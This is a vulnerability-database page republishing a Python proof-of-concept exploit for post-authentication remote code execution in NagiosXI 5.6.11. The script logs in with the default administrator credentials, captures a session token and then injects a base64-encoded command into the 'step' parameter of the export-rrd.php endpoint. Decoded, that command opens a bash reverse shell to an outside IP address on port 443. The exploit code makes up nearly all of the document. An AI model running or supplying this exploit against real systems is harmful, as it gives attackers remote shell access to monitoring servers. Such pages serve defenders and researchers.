Lucene search
K

NagiosXI 5.6.11 start / end / step Remote Code Execution Exploit

🗓️ 10 Apr 2020 00:00:00Reported by Cody SixteenType 
zdt
 zdt
🔗 0day.today👁 57 Views

NagiosXI 5.6.11 RCE Exploit via Remote Code Execution in NagiosXI 5.6.1

Code
# Title: Postauth RCE in NagiosXI 5.6.11 
# Vendor: www.nagios.com
# Vulnerable software: https://www.nagios.com/downloads/nagios-xi/vmware/
# Repo: https://github.com/c610/free/


[email protected]:~/src/eonila/nagiospox$ cat nagiospox.py
#!/usr/bin/env python
# nagiospox.py - small poc for nagiosxi rce
# 19.03.2020 by code610
#
# more : https://twitter.com/CodySixteen
#        https://code610.blogspot.com
#
import sys, re
import requests

target = sys.argv[1]
our_user = 'nagiosadmin'
our_pass = 'nagiosadmin'

def main():
  print 'nagios rce poc - vs - %s' % ( target )

  sess = requests.session()

  baseUrl = target + ':80/nagiosxi/'
  checkBaseUrl = sess.get(baseUrl)
  checkBaseResp = checkBaseUrl.text

  #print checkBaseResp
  nsp_patt = "var nsp_str = \"(.*?)\""

  find_nsp = re.compile(nsp_patt)
  found_nsp = re.search(find_nsp, checkBaseResp)
  if found_nsp:
    nsp_val = found_nsp.group(1)
    print 'nsp value found: %s' % ( nsp_val )

    # we will use nsp value in next login request
    loginurl = baseUrl + '/login.php' # ?redirect=/nagiosxi/index.php%3f&noauth=1'
    data_login = {
      'nsp': nsp_val,
      'page': 'auth',
      'debug':'',
      'pageopt':'login',
      'redirect':'http://192.168.1.10/nagiosxi/index.php', # %2Fnagiosxi%2Findex.php%3F',
      'username':our_user,
      'password':our_pass,
      'loginButton':''
    }
    req = sess.post(loginurl, data=data_login, verify=False, allow_redirects=True)
    resp_code = req.status_code
    resp = req.text

    #print resp_code
    #print resp
    if resp_code == 200:
      print '3rd request now!'
      sh = "a|(echo+\"YmFzaCAtaSA%2bJiAvZGV2L3RjcC8xOTIuMTY4LjEuMTcwLzQ0MyAwPiYx\"|base64+-d+-|sh+-i);#"
      shellcode_req = baseUrl + '/includes/components/xicore/export-rrd.php?host=localhost&service=Root%20Partition&start=1584108670&end=1584195130&step=' + sh + '&type=a&nsp=' + nsp_val
      dosh = sess.get(shellcode_req, verify=False, allow_redirects=True)
      donesh = dosh.text

      print donesh


# run me:
if __name__ == '__main__':
  main()
[email protected]:~/src/eonila/nagiospox$

#  0day.today [2020-07-19]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation